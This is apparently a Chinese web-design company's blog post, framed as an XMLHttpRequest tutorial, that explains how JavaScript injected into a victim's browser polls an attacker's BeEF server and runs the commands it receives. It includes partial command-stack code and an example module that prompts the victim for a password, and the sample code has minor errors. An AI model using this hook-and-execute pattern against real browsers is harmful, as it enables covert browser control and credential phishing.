十年专注于品牌网站建设 十年专注于品牌网站建设,低调、高逼格、有情怀的网络应用服务商!
南昌百恒网络微信公众号 扫一扫关注
小程序
tel-icon全国服务热线:400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络微信小程序

百恒网络

南昌百恒网络

如何使用XMLHttpRequest实现向服务器发送异步请求?

百恒网络 2017-07-08 256

现在通信技术是越来越发达了,说到通信,如果是真想完全了解它的朋友,南昌网络公司小编首先要建议大家的是必须理解各种通信渠道的工作原理。在选择适当的渠道时,必须考虑浏览器是否支持,以及速度如何。

一些使用先进技术且非常快速的渠道,可能IE6或Opera不支持。根据你的需求,这可能是个问题。比如,你只对Chrome感兴趣,因为你想攻击它的扩展程序。于是,你决定使用WebSocket渠道。那么为了额外的速度,你可能就得牺牲浏览器兼容性。

几乎每一种通信渠道都需要用到轮询。轮询就是客户端不断检查服务器是否有变化或更新。

实际实现轮询需要客户端和服务器的配合。而此时的客户端是被注入到目标浏览器中的JavaScript所控制的,服务器则是攻击者所拥有的依赖轮询的软件。既然提到轮询,那么今天南昌网络公司小编就来为大家介绍一下如何使用XMLHttpRequest实现向服务器发送异步请求。

XMLHttpRequest对象非常适合作为默认的通信渠道,因为所有浏览器都支持它。无论是黑莓手机,还是安卓系统,抑或Windows XP中的IE6,都支持XMLHttpRequest对象。在IE5、IE6等老版本的IE中,需要将Microsoft.XMLHTTP作为ActiveX对象初始化,而从IE7开始,这个对象就原生存在了。

基于XMLHttpRequest对象的通信非常简单。只要通过这个对象不断创建发送给攻击服务器(在这里比如是BeEF)的异步GET请求即可。这些请求定时发送,比如使用setInterval(send-Request(),2000) Javascript函数每2秒发送一次。BeEF服务器通过以下两种方式响应:

1、以空响应表示没有新动作;

2、以Content-length大于0的响应告诉被控制的浏览器执行新命令。

如图1所示,框线框住的响应大小为365字节,因为服务器给客户端发送了新命令。

通过Firefox的Firebug插件观察到的XMLHttpRequest轮询细节

新的逻辑是利用JavaScript闭包的JavaScript代码。例如,在下面的代码示例中,exec_wrapper就是一个闭包:

var a = 123;

function exec_wrapper(){

var b = 789;

function do_something(){

a = 456;

console.log(a); // 456 ->函数作用域

console.log(b); // 678 ->函数作用域

};

return do_something;

}

console.log(a); // 123 ->全局作用域

var wrapper = exec_wrapper();

wrapper();

闭包

闭包非常适合添加动态代码,因为闭包中的私有变量(通过var声明)在全局作用域中是不可见的。使用闭包,可以将环境数据与操作该数据的函数关联起来。

讲到这里,南昌网络公司小编想告诉大家的是,如果你想多次提交前面的代码,为了将新代码“限制”在它自己的函数中,将其逻辑封装到闭包中是必需的。根据BeEF的分类方法,后面的例子将称其为命令模块,因为它们是浏览器要执行的新命令。

扩展闭包的思想,可以创建一个包装器,把命令模块添加到栈中。每次轮询请求完成,stack.pop()会确保移除栈中最后一个元素,然后执行它。下面的代码就是这种方法的示例实现。为简单起见,这里没有包含lock对象和poll()函数:

/**

* 命令栈

*/

commands: new Array(),

/**

* 包含器。将命令模块添加到命令栈中

*/

execute: function(fn) {

this.commands.push(fn);

},

/**

* 轮询。如果响应不等于0,调用execute_commands()

*/

get_commands: function() {

try {

this.lock = true;

//轮询server_host以获得新命令

poll(server_host, function(response) {

if (response.body != null && response.body.length > 0)

execute_commands();

});

} catch(e){

this.lock = false;

return;

}

this.lock = false;

},

/**

* 如果有的话,执行接收到的新命令

*/

execute_commands: function() {

if(commands.length == 0) return;

this.lock = true;

while(commands.length > 0) {

command = commands.pop();

try {

command();

} catch(e) {

console.error(.message);

}

}

this.lock = false;

}

正如你所见,在execute_commands()函数中,如果命令栈不是空的,则每一项都会被弹出并执行。之所以可以在try块中调用command(),是因为使用了闭包,即命令模块被封装在了自己的匿名函数中:

execute(function() {

var msg = "What is your password?";

prompt(msg);

});

匿名函数是指在运行时动态声明的没有名字的函数。匿名函数特别适合执行小块代码,特别是那些只会执行一次,不会在别处被调用的代码。在注册事件处理器的时候,匿名函数的使用非常频繁,例如:

aButton.addEventListener('click',function(){alert('you clicked me');},false);

在前面的命令模块进入目标浏览器的DOM,并调用execute()后,下面的JavaScript代码会成为命令栈中新的一层:

function() {

var msg = "What is your password?";

prompt(msg);

}

最终,当运行commands.pop()并执行弹出的代码时,就会出现一个prompt对话框,显示msg的内容。

看一看示例的实现代码,可以清楚地看到commands数组是作为一个栈来实现的。栈是一种后进先出(Last In First Out,LIFO)的数据结构。看到这里估计有朋友可能觉得奇怪,为什么不把它实现为先进先出(First In First Out,FIFO)的数据结构?这个问题南昌网络公司小编认为问的很好,其实答案是取决于你的需要。如果想让命令模块的执行彼此关联,让相邻的模块及输入相互依赖,比如后一个模块的输入依赖前一个模块的输出,那么FIFO的数据结构可能更合适。

以上内容便是本公司为大家介绍的关于使用XMLHttpRequest实现向服务器发送异步请求的方法,如果还有哪些不明白的地方,可来电和我们联系,我们一一为您解答。

400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络小程序

欢迎您的光顾,我们将竭诚为您服务×

售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售后服务 售后服务
 
售后服务 售后服务
 
备案专线 备案专线
 
×